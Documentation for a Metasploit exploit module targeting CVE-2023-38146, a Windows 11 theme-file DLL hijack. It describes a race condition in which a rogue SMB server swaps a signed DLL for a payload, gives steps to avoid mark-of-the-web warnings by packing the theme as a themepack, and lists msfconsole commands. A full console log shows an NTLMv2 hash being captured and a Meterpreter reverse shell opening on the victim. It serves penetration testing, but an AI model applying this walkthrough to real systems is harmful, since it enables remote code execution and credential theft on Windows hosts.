## Description

There exists a time of check to time of use vulnerability in the way Windows 11 loads msstyles files when they are
loaded via a theme file. When a user opens a theme which references an msstyles file with a `PACKME_VERSION`
of 999, the process will check for the presence of the msstyles file appended with "_vrf.dll".  If the file is found,
the process will open the file to check for a signature.  If the signature is valid, the process closes the file and
then loads it. By closing the file after the check and before loading it, we can feed a legitimate signed dll to the
check read, and then substitute a malicious dll for the second, resulting in the process loading our dll and executing
arbitrary code.

To control this race condition, we implement a UNC path pointing back to an SMB server we control that uses the type
of request issued by the SMB client to dictate the file served to it; we serve a signed Microsoft Binary when the
verification takes place, but serve a payload dll when the host attempts to load the file.

Because the PACKME_VERSION must be 999 and licinsing limits our ability to include a microsoft binary in Metasploit, 
this module includes a tool to take a normal windows aero.msstyles file and give it the required PACKME_VERSION.
As the aero.msstyles file is also a signed binary, we can use it as both the msstyles file and the legitimate signed
dll file.  This will fail if the msstyles file is already altered for this exploit.  For this example, we used the
aero file located in `C:\Windows\Resources\Themes\aero\` on a stock Windows 10 x64 installation.

As a final step, a user may convert the resultant theme file into a themepack file by using the linux command
`lcab exploit.theme exploit.themepack`
By converting this into a themepack file rather than a theme file, it circumvents the "mark of the web" and will no
longer result in a security warning dialog box before opening.

## Vulnerable Application

Windows 11

## Verification Steps

1. `./msfconsole`
2. `set payload windows/x64/meterpreter_reverse_tcp`
3. `set LHOST <IP>`
4. `set LPORT <PORT>`
5. `set STYLE_FILE` <PATH_TO_AERO_FILE>
6. `set DisablePayloadhandler false`
7. `run`
8. [OPTIONAL] Convert the theme file to a themepack file with the Linux command `lcab exploit.theme exploit.themepack`
9. Copy theme or themepack file over to target.

## Options

### STYLE_FILE

This file must be a signed msstyles file and serves 2 purposes:
1. We adjust this msstyles file to have the required PACKME_VERSION and serve it as part of the exploit.
2. As the msstyles file is an executable dll, we also serve it as the legitimate signed file to pass the verification
   before serving the payload dll.  A file of this type is located on Windows 10 hosts under
   `C:\Windows\Resources\Themes\aero\aero.msstyles`
.

### STYLE_FILE_NAME

This is the name of the style file added to the theme file we create.

### THEME_FILE_NAME

This is the name of the theme file created by the exploit to send to the target host.

## Scenarios

### Windows 11

```
msf > use exploit/windows/fileformat/theme_dll_hijack_cve_2023_38146
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > show options

Module options (exploit/windows/fileformat/theme_dll_hijack_cve_2023_38146):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SHARE                             no        Share (Default Random)
   SRVHOST          0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the loc
                                               al machine or 0.0.0.0 to listen on all addresses.
   SRVPORT          445              yes       The local port to listen on.
   STYLE_FILE                        yes       The Microsoft-signed .msstyles file (e.g. aero.msstyles).
   STYLE_FILE_NAME                   yes       The name of the style file to reference.
   THEME_FILE_NAME  exploit.theme    yes       The name of the theme file to generate.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.5.135.201     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows



View the full module info with the info, or info -d command.

msf exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set SRVHOST 10.5.135.201
SRVHOST => 10.5.135.201
msf exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set STYLE_FILE '/home/tmoose/rapid7/metasploit-framework/aero.msstyles' 
STYLE_FILE => /home/tmoose/rapid7/metasploit-framework/aero.msstyles
msf exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set STYLE_FILE_NAME aero
STYLE_FILE_NAME => aero
msf exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set verbose true
verbose => true
msf exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > 
[*] Started reverse TCP handler on 10.5.135.201:4444 
[*] Server is running. Listening on 10.5.135.201:445
[*] Server started.
[+] exploit.theme stored at /home/tmoose/.msf4/local/exploit.theme
[*] Received SMB connection from 10.5.132.136
[SMB] NTLMv2-SSP Client     : 10.5.132.136
[SMB] NTLMv2-SSP Username   : .\msfuser
[SMB] NTLMv2-SSP Hash       : msfuser::.:571cefb4150fb5f1:059699f9eee7e044d95167c03c58c6b4:010100000000000000326d46a633da013654631d1e8ef262000000000200120057004f0052004b00470052004f00550050000100120057004f0052004b00470052004f00550050000400120057004f0052004b00470052004f00550050000300120057004f0052004b00470052004f00550050000700080000326d46a633da0106000400020000000800300030000000000000000100000000200000fe746065d66cc1efc7756d546af110124dd7d6b60126a5edff7b41cce14019d90a001000000000000000000000000000000000000900220063006900660073002f00310030002e0035002e003100330035002e003200300031000000000000000000

[*] Sending file to 10.5.132.136
[*] Sending stage (200774 bytes) to 10.5.132.136
[*] Server stopped.
[*] Meterpreter session 1 opened (10.5.135.201:4444 -> 10.5.132.136:50003) at 2023-12-20 18:40:25 -0600

msf exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : DESKTOP-7M0LC28
OS              : Windows 11 (10.0 Build 22000).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: DESKTOP-7M0LC28\msfuser
meterpreter > 

```
